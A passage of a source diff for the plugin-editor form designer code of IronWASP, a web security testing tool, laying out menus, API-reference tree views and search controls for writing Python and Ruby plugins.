this.FixPythonIndentationToolStripMenuItem.Click += new System.EventHandler(this.FixPythonIndentationToolStripMenuItem_Click); - // - // PluginEditorAPISplit - // - this.PluginEditorAPISplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorAPISplit.Location = new System.Drawing.Point(0, 0); - this.PluginEditorAPISplit.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorAPISplit.Name = "PluginEditorAPISplit"; - this.PluginEditorAPISplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // PluginEditorAPISplit.Panel1 - // - this.PluginEditorAPISplit.Panel1.Controls.Add(this.PluginEditorAPITreeTabs); - // - // PluginEditorAPISplit.Panel2 - // - this.PluginEditorAPISplit.Panel2.Controls.Add(this.PluginEditorAPIDetailsRTB); - this.PluginEditorAPISplit.Size = new System.Drawing.Size(208, 562); - this.PluginEditorAPISplit.SplitterDistance = 305; - this.PluginEditorAPISplit.SplitterWidth = 2; - this.PluginEditorAPISplit.TabIndex = 2; - // - // PluginEditorAPITreeTabs - // - this.PluginEditorAPITreeTabs.Controls.Add(this.PluginEditorPythonAPITreeTab); - this.PluginEditorAPITreeTabs.Controls.Add(this.PluginEditorRubyAPITreeTab); - this.PluginEditorAPITreeTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorAPITreeTabs.Location = new System.Drawing.Point(0, 0); - this.PluginEditorAPITreeTabs.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorAPITreeTabs.Name = "PluginEditorAPITreeTabs"; - this.PluginEditorAPITreeTabs.Padding = new System.Drawing.Point(0, 0); - this.PluginEditorAPITreeTabs.SelectedIndex = 0; - this.PluginEditorAPITreeTabs.Size = new System.Drawing.Size(208, 305); - this.PluginEditorAPITreeTabs.TabIndex = 0; - // - // PluginEditorPythonAPITreeTab - // - this.PluginEditorPythonAPITreeTab.Controls.Add(this.PluginEditorPythonAPITree); - this.PluginEditorPythonAPITreeTab.Location = new System.Drawing.Point(4, 22); - this.PluginEditorPythonAPITreeTab.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorPythonAPITreeTab.Name = "PluginEditorPythonAPITreeTab"; - this.PluginEditorPythonAPITreeTab.Size = new System.Drawing.Size(200, 279); - this.PluginEditorPythonAPITreeTab.TabIndex = 0; - this.PluginEditorPythonAPITreeTab.Text = "Python"; - this.PluginEditorPythonAPITreeTab.UseVisualStyleBackColor = true; - // - // PluginEditorPythonAPITree - // - this.PluginEditorPythonAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.PluginEditorPythonAPITree.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorPythonAPITree.Location = new System.Drawing.Point(0, 0); - this.PluginEditorPythonAPITree.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorPythonAPITree.Name = "PluginEditorPythonAPITree"; - this.PluginEditorPythonAPITree.Size = new System.Drawing.Size(200, 279); - this.PluginEditorPythonAPITree.TabIndex = 0; - this.PluginEditorPythonAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.PluginEditorPythonAPITree_AfterSelect); - // - // PluginEditorRubyAPITreeTab - // - this.PluginEditorRubyAPITreeTab.Controls.Add(this.PluginEditorRubyAPITree); - this.PluginEditorRubyAPITreeTab.Location = new System.Drawing.Point(4, 22); - this.PluginEditorRubyAPITreeTab.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorRubyAPITreeTab.Name = "PluginEditorRubyAPITreeTab"; - this.PluginEditorRubyAPITreeTab.Size = new System.Drawing.Size(200, 279); - this.PluginEditorRubyAPITreeTab.TabIndex = 1; - this.PluginEditorRubyAPITreeTab.Text = "Ruby"; - this.PluginEditorRubyAPITreeTab.UseVisualStyleBackColor = true; - // - // PluginEditorRubyAPITree - // - this.PluginEditorRubyAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.PluginEditorRubyAPITree.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorRubyAPITree.Location = new System.Drawing.Point(0, 0); - this.PluginEditorRubyAPITree.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorRubyAPITree.Name = "PluginEditorRubyAPITree"; - this.PluginEditorRubyAPITree.Size = new System.Drawing.Size(200, 279); - this.PluginEditorRubyAPITree.TabIndex = 1; - this.PluginEditorRubyAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.PluginEditorRubyAPITree_AfterSelect); - // - // PluginEditorAPIDetailsRTB - // - this.PluginEditorAPIDetailsRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorAPIDetailsRTB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PluginEditorAPIDetailsRTB.Location = new System.Drawing.Point(0, 0); - this.PluginEditorAPIDetailsRTB.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorAPIDetailsRTB.Name = "PluginEditorAPIDetailsRTB"; - this.PluginEditorAPIDetailsRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.PluginEditorAPIDetailsRTB.Size = new System.Drawing.Size(208, 255); - this.PluginEditorAPIDetailsRTB.TabIndex = 0; - this.PluginEditorAPIDetailsRTB.Text = ""; - // - // PluginEditorAPIDocTabs - // - this.PluginEditorAPIDocTabs.Controls.Add(this.tabPage3); - this.PluginEditorAPIDocTabs.Controls.Add(this.tabPage4); - this.PluginEditorAPIDocTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.PluginEditorAPIDocTabs.Location = new System.Drawing.Point(0, 0); - this.PluginEditorAPIDocTabs.Margin = new System.Windows.Forms.Padding(0); - this.PluginEditorAPIDocTabs.Name = "PluginEditorAPIDocTabs"; - this.PluginEditorAPIDocTabs.Padding = new System.Drawing.Point(0, 0); - this.PluginEditorAPIDocTabs.SelectedIndex = 0; - this.PluginEditorAPIDocTabs.Size = new System.Drawing.Size(183, 210); - this.PluginEditorAPIDocTabs.TabIndex = 0; - // - // tabPage3 - // - this.tabPage3.Location = new System.Drawing.Point(4, 22); - this.tabPage3.Margin = new System.Windows.Forms.Padding(0); - this.tabPage3.Name = "tabPage3"; - this.tabPage3.Size = new System.Drawing.Size(175, 184); - this.tabPage3.TabIndex = 0; - this.tabPage3.Text = "IronPython"; - this.tabPage3.UseVisualStyleBackColor = true; - // - // tabPage4 - // - this.tabPage4.Location = new System.Drawing.Point(4, 22); - this.tabPage4.Margin = new System.Windows.Forms.Padding(0); - this.tabPage4.Name = "tabPage4"; - this.tabPage4.Size = new System.Drawing.Size(175, 184); - this.tabPage4.TabIndex = 1; - this.tabPage4.Text = "IronRuby"; - this.tabPage4.UseVisualStyleBackColor = true; - // - // PluginEditorOpenFileDialog - // - this.PluginEditorOpenFileDialog.Filter = "Python|*.py|Ruby|*.rb|All Files|*.*"; - this.PluginEditorOpenFileDialog.FilterIndex = 3; - // - // PluginEditorSaveFileDialog - // - this.PluginEditorSaveFileDialog.Title = "Save File"; - // - // PluginEditor - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(884, 562); - this.Controls.Add(this.PluginEditorBaseSplit); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "PluginEditor"; - this.Text = "Script/Plugin Editor"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.PluginEditor_FormClosing); - this.Load += new System.EventHandler(this.PluginEditor_Load); - this.PluginEditorBaseSplit.Panel1.ResumeLayout(false); - this.PluginEditorBaseSplit.Panel1.PerformLayout(); - this.PluginEditorBaseSplit.Panel2.ResumeLayout(false); - this.PluginEditorBaseSplit.ResumeLayout(false); - this.PluginEditorRightSplit.Panel1.ResumeLayout(false); - this.PluginEditorRightSplit.Panel2.ResumeLayout(false); - this.PluginEditorRightSplit.Panel2.PerformLayout(); - this.PluginEditorRightSplit.ResumeLayout(false); - this.PluginEditorMenu.ResumeLayout(false); - this.PluginEditorMenu.PerformLayout(); - this.PluginEditorAPISplit.Panel1.ResumeLayout(false); - this.PluginEditorAPISplit.Panel2.ResumeLayout(false); - this.PluginEditorAPISplit.ResumeLayout(false); - this.PluginEditorAPITreeTabs.ResumeLayout(false); - this.PluginEditorPythonAPITreeTab.ResumeLayout(false); - this.PluginEditorRubyAPITreeTab.ResumeLayout(false); - this.PluginEditorAPIDocTabs.ResumeLayout(false); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.SplitContainer PluginEditorBaseSplit; - private ICSharpCode.TextEditor.TextEditorControl PluginEditorTE; - private System.Windows.Forms.MenuStrip PluginEditorMenu; - private System.Windows.Forms.ToolStripMenuItem NewFileToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewActivePluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewPassivePluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewSessionPluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewFormatPluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewScriptFileToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem OpenFileToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem SaveWorkToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem LanguageToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem IronPythonToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem IronRubyToolStripMenuItem; - private System.Windows.Forms.TabControl PluginEditorAPIDocTabs; - private System.Windows.Forms.TabPage tabPage3; - private System.Windows.Forms.TabPage tabPage4; - private System.Windows.Forms.SplitContainer PluginEditorAPISplit; - private System.Windows.Forms.TabControl PluginEditorAPITreeTabs; - private System.Windows.Forms.TabPage PluginEditorPythonAPITreeTab; - internal System.Windows.Forms.TreeView PluginEditorPythonAPITree; - private System.Windows.Forms.TabPage PluginEditorRubyAPITreeTab; - internal System.Windows.Forms.TreeView PluginEditorRubyAPITree; - private System.Windows.Forms.RichTextBox PluginEditorAPIDetailsRTB; - internal System.Windows.Forms.TextBox PluginEditorErrorTB; - private System.Windows.Forms.SplitContainer PluginEditorRightSplit; - private System.Windows.Forms.OpenFileDialog PluginEditorOpenFileDialog; - private System.Windows.Forms.SaveFileDialog PluginEditorSaveFileDialog; - private System.Windows.Forms.ToolStripMenuItem ActivePluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem passivePluginToolStripMenuItem1; - private System.Windows.Forms.ToolStripMenuItem formatPluginToolStripMenuItem1; - private System.Windows.Forms.ToolStripMenuItem sessionPluginToolStripMenuItem1; - private System.Windows.Forms.ToolStripMenuItem otherToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewPyActivePluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewRbActivePluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewPyPassivePluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewRbPassivePluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewPySessionPluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewRbSessionPluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewPyFormatPluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewRbFormatPluginToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewPyScriptFileToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewRbScriptFileToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem CheckSyntaxF5ToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem SaveAsStripMenuItem; - private System.Windows.Forms.Label label1; - internal System.Windows.Forms.TextBox PluginEditorSearchTB; - private System.Windows.Forms.Label MatchCountLbl; - private System.Windows.Forms.Button SearchMovePreviousBtn; - private System.Windows.Forms.Button SearchMoveNextBtn; - private System.Windows.Forms.ToolStripMenuItem FixPythonIndentationToolStripMenuItem; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class PluginEditor + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(PluginEditor)); + this.PluginEditorBaseSplit = new System.Windows.Forms.SplitContainer(); + this.PluginEditorRightSplit = new System.Windows.Forms.SplitContainer(); + this.PluginEditorTE = new ICSharpCode.TextEditor.TextEditorControl(); + this.SearchMoveNextBtn = new System.Windows.Forms.Button(); + this.SearchMovePreviousBtn = new System.Windows.Forms.Button(); + this.MatchCountLbl = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.PluginEditorSearchTB = new System.Windows.Forms.TextBox(); + this.PluginEditorErrorTB = new System.Windows.Forms.TextBox(); + this.PluginEditorMenu = new System.Windows.Forms.MenuStrip(); + this.NewFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewActivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewPyActivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewRbActivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewPassivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewPyPassivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewRbPassivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewSessionPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewPySessionPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewRbSessionPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewFormatPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewPyFormatPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewRbFormatPluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewScriptFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewPyScriptFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewRbScriptFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.OpenFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ActivePluginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.passivePluginToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.formatPluginToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.sessionPluginToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.otherToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.SaveWorkToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.SaveAsStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.LanguageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.IronPythonToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.IronRubyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.CheckSyntaxF5ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.FixPythonIndentationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.PluginEditorAPISplit = new System.Windows.Forms.SplitContainer(); + this.PluginEditorAPITreeTabs = new System.Windows.Forms.TabControl(); + this.PluginEditorPythonAPITreeTab = new System.Windows.Forms.TabPage(); + this.PluginEditorPythonAPITree = new System.Windows.Forms.TreeView(); + this.PluginEditorRubyAPITreeTab = new System.Windows.Forms.TabPage(); + this.PluginEditorRubyAPITree = new System.Windows.Forms.TreeView(); + this.PluginEditorAPIDetailsRTB = new System.Windows.Forms.RichTextBox(); + this.PluginEditorAPIDocTabs = new System.Windows.Forms.TabControl(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.PluginEditorOpenFileDialog = new System.Windows.Forms.OpenFileDialog(); + this.PluginEditorSaveFileDialog = new System.Windows.Forms.SaveFileDialog(); + this.PluginEditorBaseSplit.Panel1.SuspendLayout(); + this.PluginEditorBaseSplit.Panel2.SuspendLayout(); + this.PluginEditorBaseSplit.SuspendLayout(); + this.PluginEditorRightSplit.Panel1.SuspendLayout(); + this.PluginEditorRightSplit.Panel2.SuspendLayout(); + this.PluginEditorRightSplit.SuspendLayout(); + this.PluginEditorMenu.SuspendLayout(); + this.PluginEditorAPISplit.Panel1.SuspendLayout(); + this.PluginEditorAPISplit.Panel2.SuspendLayout(); + this.PluginEditorAPISplit.SuspendLayout(); + this.PluginEditorAPITreeTabs.SuspendLayout(); + this.PluginEditorPythonAPITreeTab.SuspendLayout(); + this.PluginEditorRubyAPITreeTab.SuspendLayout(); + this.PluginEditorAPIDocTabs.SuspendLayout(); + this.SuspendLayout(); + // + // PluginEditorBaseSplit + // + this.PluginEditorBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorBaseSplit.Location = new System.Drawing.Point(0, 0); + this.PluginEditorBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorBaseSplit.Name = "PluginEditorBaseSplit"; + // + // PluginEditorBaseSplit.Panel1 + // + this.PluginEditorBaseSplit.Panel1.Controls.Add(this.PluginEditorRightSplit); + this.PluginEditorBaseSplit.Panel1.Controls.Add(this.PluginEditorMenu); + // + // PluginEditorBaseSplit.Panel2 + // + this.PluginEditorBaseSplit.Panel2.Controls.Add(this.PluginEditorAPISplit); + this.PluginEditorBaseSplit.Size = new System.Drawing.Size(884, 562); + this.PluginEditorBaseSplit.SplitterDistance = 674; + this.PluginEditorBaseSplit.SplitterWidth = 2; + this.PluginEditorBaseSplit.TabIndex = 0; + // + // PluginEditorRightSplit + // + this.PluginEditorRightSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorRightSplit.Location = new System.Drawing.Point(0, 24); + this.PluginEditorRightSplit.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorRightSplit.Name = "PluginEditorRightSplit"; + this.PluginEditorRightSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // PluginEditorRightSplit.Panel1 + // + this.PluginEditorRightSplit.Panel1.Controls.Add(this.PluginEditorTE); + // + // PluginEditorRightSplit.Panel2 + // + this.PluginEditorRightSplit.Panel2.Controls.Add(this.SearchMoveNextBtn); + this.PluginEditorRightSplit.Panel2.Controls.Add(this.SearchMovePreviousBtn); + this.PluginEditorRightSplit.Panel2.Controls.Add(this.MatchCountLbl); + this.PluginEditorRightSplit.Panel2.Controls.Add(this.label1); + this.PluginEditorRightSplit.Panel2.Controls.Add(this.PluginEditorSearchTB); + this.PluginEditorRightSplit.Panel2.Controls.Add(this.PluginEditorErrorTB); + this.PluginEditorRightSplit.Size = new System.Drawing.Size(674, 538); + this.PluginEditorRightSplit.SplitterDistance = 421; + this.PluginEditorRightSplit.SplitterWidth = 2; + this.PluginEditorRightSplit.TabIndex = 5; + // + // PluginEditorTE + // + this.PluginEditorTE.ConvertTabsToSpaces = true; + this.PluginEditorTE.Dock = System.Windows.Forms.DockStyle.Fill; + this.PluginEditorTE.IsIconBarVisible = false; + this.PluginEditorTE.Location = new System.Drawing.Point(0, 0); + this.PluginEditorTE.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorTE.Name = "PluginEditorTE"; + this.PluginEditorTE.ShowEOLMarkers = true; + this.PluginEditorTE.ShowSpaces = true; + this.PluginEditorTE.ShowTabs = true; + this.PluginEditorTE.ShowVRuler = true; + this.PluginEditorTE.Size = new System.Drawing.Size(674, 421); + this.PluginEditorTE.TabIndent = 2; + this.PluginEditorTE.TabIndex = 3; + // + // SearchMoveNextBtn + // + this.SearchMoveNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.SearchMoveNextBtn.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.SearchMoveNextBtn.Location = new System.Drawing.Point(589, 3); + this.SearchMoveNextBtn.Name = "SearchMoveNextBtn"; + this.SearchMoveNextBtn.Size = new System.Drawing.Size(27, 23); + this.SearchMoveNextBtn.TabIndex = 9; + this.SearchMoveNextBtn.Text = ">"; + this.SearchMoveNextBtn.UseVisualStyleBackColor = true; + this.SearchMoveNextBtn.Click += new System.EventHandler(this.SearchMoveNextBtn_Click); + // + // SearchMovePreviousBtn + // + this.SearchMovePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.SearchMovePreviousBtn.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.SearchMovePreviousBtn.Location = new System.Drawing.Point(558, 3); + this.SearchMovePreviousBtn.Name = "SearchMovePreviousBtn"; + this.SearchMovePreviousBtn.Size = new System.Drawing.Size(27, 23); + this.SearchMovePreviousBtn.TabIndex = 8; + this.SearchMovePreviousBtn.Text = "<"; + this.SearchMovePreviousBtn.UseVisualStyleBackColor = true; + this.SearchMovePreviousBtn.Click += new System.EventHandler(this.SearchMovePreviousBtn_Click); + // + // MatchCountLbl + // + this.MatchCountLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.MatchCountLbl.AutoSize = true; + this.MatchCountLbl.Location = new System.Drawing.Point(629, 9); + this.MatchCountLbl.Margin = new System.Windows.Forms.Padding(0); + this.MatchCountLbl.Name = "MatchCountLbl"; + this.MatchCountLbl.Size = new System.Drawing.Size(0, 13); + this.MatchCountLbl.TabIndex = 7; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(4, 8); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(59, 13); + this.label1.TabIndex = 6; + this.label1.Text = "Search for:"; + // + // PluginEditorSearchTB + // + this.PluginEditorSearchTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.PluginEditorSearchTB.Location = new System.Drawing.Point(66, 5); + this.PluginEditorSearchTB.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorSearchTB.Name = "PluginEditorSearchTB"; + this.PluginEditorSearchTB.Size = new System.Drawing.Size(488, 20); + this.PluginEditorSearchTB.TabIndex = 5; + this.PluginEditorSearchTB.KeyUp += new System.Windows.Forms.KeyEventHandler(this.PluginEditorSearchTB_KeyUp); + // + // PluginEditorErrorTB + // + this.PluginEditorErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.PluginEditorErrorTB.BackColor = System.Drawing.Color.White; + this.PluginEditorErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.PluginEditorErrorTB.Location = new System.Drawing.Point(0, 28); + this.PluginEditorErrorTB.Margin = new System.Windows.Forms.Padding(0); + this.PluginEditorErrorTB.Multiline = true; + this.PluginEditorErrorTB.Name = "PluginEditorErrorTB"; + this.PluginEditorErrorTB.ReadOnly = true; + this.PluginEditorErrorTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.PluginEditorErrorTB.Size = new System.Drawing.Size(674, 87); + this.PluginEditorErrorTB.TabIndex = 4; + // + // PluginEditorMenu + // + this.PluginEditorMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.NewFileToolStripMenuItem, + this.OpenFileToolStripMenuItem, + this.SaveWorkToolStripMenuItem, + this.SaveAsStripMenuItem, + this.LanguageToolStripMenuItem, + this.CheckSyntaxF5ToolStripMenuItem, + this.FixPythonIndentationToolStripMenuItem}); + this.PluginEditorMenu.Location = new System.Drawing.Point(0, 0); + this.PluginEditorMenu.Name = "PluginEditorMenu"; + this.PluginEditorMenu.Size = new System.Drawing.Size(674, 24); + this.PluginEditorMenu.TabIndex = 2; + this.PluginEditorMenu.Text = "menuStrip1"; + // + // NewFileToolStripMenuItem + // + this.NewFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.NewActivePluginToolStripMenuItem, + this.NewPassivePluginToolStripMenuItem, + this.NewSessionPluginToolStripMenuItem, + this.NewFormatPluginToolStripMenuItem, + this.NewScriptFileToolStripMenuItem}); + this.NewFileToolStripMenuItem.Name = "NewFileToolStripMenuItem"; + this.NewFileToolStripMenuItem.Size = new System.Drawing.Size(43, 20); + this.NewFileToolStripMenuItem.Text = "New"; + // + // NewActivePluginToolStripMenuItem + // + this.NewActivePluginToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.NewPyActivePluginToolStripMenuItem, + this.NewRbActivePluginToolStripMenuItem}); + this.NewActivePluginToolStripMenuItem.Name = "NewActivePluginToolStripMenuItem"; + this.NewActivePluginToolStripMenuItem.Size = new System.Drawing.Size(150, 22); + this.NewActivePluginToolStripMenuItem.Text = "Active Plugin"; + // + // NewPyActivePluginToolStripMenuItem + // + this.NewPyActivePluginToolStripMenuItem.Name = "NewPyActivePluginToolStripMenuItem"; + this.NewPyActivePluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.NewPyActivePluginToolStripMenuItem.Text = "Python"; + this.NewPyActivePluginToolStripMenuItem.Click += new System.EventHandler(this.NewPyActivePluginToolStripMenuItem_Click); + // + // NewRbActivePluginToolStripMenuItem + // + this.NewRbActivePluginToolStripMenuItem.Name = "NewRbActivePluginToolStripMenuItem"; + this.NewRbActivePluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.NewRbActivePluginToolStripMenuItem.Text = "Ruby"; + this.NewRbActivePluginToolStripMenuItem.Click += new System.EventHandler(this.NewRbActivePluginToolStripMenuItem_Click); + // + // NewPassivePluginToolStripMenuItem + // + this.NewPassivePluginToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.NewPyPassivePluginToolStripMenuItem, + this.NewRbPassivePluginToolStripMenuItem}); + this.NewPassivePluginToolStripMenuItem.Name = "NewPassivePluginToolStripMenuItem"; + this.NewPassivePluginToolStripMenuItem.Size = new System.Drawing.Size(150, 22); + this.NewPassivePluginToolStripMenuItem.Text = "Passive Plugin"; + // + // NewPyPassivePluginToolStripMenuItem + // + this.NewPyPassivePluginToolStripMenuItem.Name = "NewPyPassivePluginToolStripMenuItem"; + this.NewPyPassivePluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.NewPyPassivePluginToolStripMenuItem.Text = "Python"; + this.NewPyPassivePluginToolStripMenuItem.Click += new System.EventHandler(this.NewPyPassivePluginToolStripMenuItem_Click); + // + // NewRbPassivePluginToolStripMenuItem + // + this.NewRbPassivePluginToolStripMenuItem.Name = "NewRbPassivePluginToolStripMenuItem"; + this.NewRbPassivePluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.NewRbPassivePluginToolStripMenuItem.Text = "Ruby"; + this.NewRbPassivePluginToolStripMenuItem.Click += new System.EventHandler(this.NewRbPassivePluginToolStripMenuItem_Click); + // + // NewSessionPluginToolStripMenuItem + // + this.NewSessionPluginToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.NewPySessionPluginToolStripMenuItem, + this.NewRbSessionPluginToolStripMenuItem}); + this.NewSessionPluginToolStripMenuItem.Name = "NewSessionPluginToolStripMenuItem"; + this.NewSessionPluginToolStripMenuItem.Size = new System.Drawing.Size(150, 22); + this.NewSessionPluginToolStripMenuItem.Text = "Session Plugin"; + // + // NewPySessionPluginToolStripMenuItem + // + this.NewPySessionPluginToolStripMenuItem.Name = "NewPySessionPluginToolStripMenuItem"; + this.NewPySessionPluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.NewPySessionPluginToolStripMenuItem.Text = "Python"; + this.NewPySessionPluginToolStripMenuItem.Click += new System.EventHandler(this.NewPySessionPluginToolStripMenuItem_Click); + // + // NewRbSessionPluginToolStripMenuItem + // + this.NewRbSessionPluginToolStripMenuItem.Name = "NewRbSessionPluginToolStripMenuItem"; + this.NewRbSessionPluginToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.NewRbSessionPluginToolStripMenuItem.Text = "Ruby"; + this.NewRbSessionPluginToolStripMenuItem.Click += new System.EventHandler(this.NewRbSessionPluginToolStripMenuItem_Click); + // + // NewFormatPluginToolStripMenuItem + // + this.NewFormatPluginToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + 